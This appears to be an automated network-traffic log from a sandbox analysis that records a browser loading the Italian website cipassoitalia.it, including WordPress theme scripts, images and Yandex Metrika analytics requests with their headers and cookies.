Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tabs/tabs.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimonials/testimonials.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow-video.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.132%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.132%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.132%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A1370925244722%3Ahid%3A679857121%3Az%3A-300%3Ai%3A20250103113304%3Aet%3A1735921984%3Ac%3A1%3Arn%3A888462558%3Arqn%3A1%3Au%3A1735921984342483081%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A15621%3Awv%3A2%3Ads%3A86%2C715%2C461%2C117%2C777%2C0%2C%2C%2C%2C%2C%2C%2C%3Aco%3A0%3Acpf%3A1%3Ans%3A1735921964729%3Arqnl%3A1%3Ast%3A1735921986%3At%3ACiPASSO.%20Nel%20cuore%20di%20Roma%2C%20ad%20un%20passo%20dal%20Pantheon.&t=gdpr%2814%29clc%280-0-0%29rqnt%281%29aw%281%29rcm%281%29cdl%28na%29eco%2842009088%29fid%28160%29ti%281%29 HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=narlABsq63nROyU6LhKlC/QyBgl1C5gTK9qc3JdRc3H3zDytph2vBN10ZgqZgH/k820S88p65t19wIhYvE7/vXqicU8=; yandexuid=8563067781735921985; yashr=2978277861735921985; yabs-sid=814606481735921986; yuidss=8563067781735921985; ymex=1767457986.yrts.1735921986; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/timeline/timeline.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles/toggles.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_layerslider/slideshow_layerslider.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_start?redirect_domain=mc.yandex.com&token=10611.THIYYAEe98v2mU_77etvw6y980yLbM-16KV3AOlKlsqX0zDes6MVlFAFoFiiYNqR.FjbGmflqlBBumniBfAOlX96YIeU%2C HTTP/1.1Host: mc.yandex.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=MWn/b3CGBdGz4xwo6ybs8zuB0m6dqTWEZs6SfrZEPLGuS1njVyPf5dksYDS0w6MqEEVqybkB7y6BVJBOmOuiQIuKgyY=; yandexuid=5258352291735921983; yashr=2056106971735921983
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/video.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tabs/tabs.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tab_section/tab_section.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/aviapopup/jquery.magnific-popup.min.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimonials/testimonials.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-snippet-lightbox.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-snippet-sticky-header.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-snippet-widget.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/timeline/timeline.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/framework/js/conditional_load/avia_google_maps_front.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles/toggles.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_decide?token=10611.DeDvDEkh2b6Its9xbNfPHxCK1804kA6_zZJVWLPPWz07-944RJ_J0kYNra_afEkwU03UV0CHnydP5no6KoQ54vkblvuIBsG-969Amgl-cxtmyCk1lkokidjPnkQ91qsTV1SpIOp7NPyr1RezhjfwvFpEDIXtlvS0spqHmtROf1O5xs8i-DVaMexQjDa336P2d5ZAuPOBzBztdoOKKJl7_8M1xV-u-PMh4JytiHCpED4%2C.xOk8KZm_JWiARvYJ6YX-7hS6gpY%2C HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=narlABsq63nROyU6LhKlC/QyBgl1C5gTK9qc3JdRc3H3zDytph2vBN10ZgqZgH/k820S88p65t19wIhYvE7/vXqicU8=; yandexuid=8563067781735921985; yashr=2978277861735921985; yabs-sid=814606481735921986; yuidss=8563067781735921985; ymex=1767457986.yrts.1735921986; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; sync_cookie_csrf=962763166fake
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/video.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/1.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-snippet-widget.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/aviapopup/jquery.magnific-popup.min.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/2.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-snippet-lightbox.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-snippet-sticky-header.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/3.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/sfondo_cerchi.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
Source: global traffic	HTTP traffic detected: GET /metrika/advert.gif HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=narlABsq63nROyU6LhKlC/QyBgl1C5gTK9qc3JdRc3H3zDytph2vBN10ZgqZgH/k820S88p65t19wIhYvE7/vXqicU8=; yandexuid=8563067781735921985; yashr=2978277861735921985; yabs-sid=814606481735921986; yuidss=8563067781735921985; ymex=1767457986.yrts.1735921986; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; sync_cookie_csrf=962763166fake
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/09/MG_4783-67-copia-2.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=21187cdf-b91f-4f27-aae8-45cec9395e7c; _ym_uid=1735921984342483081; _ym_d=1735921984
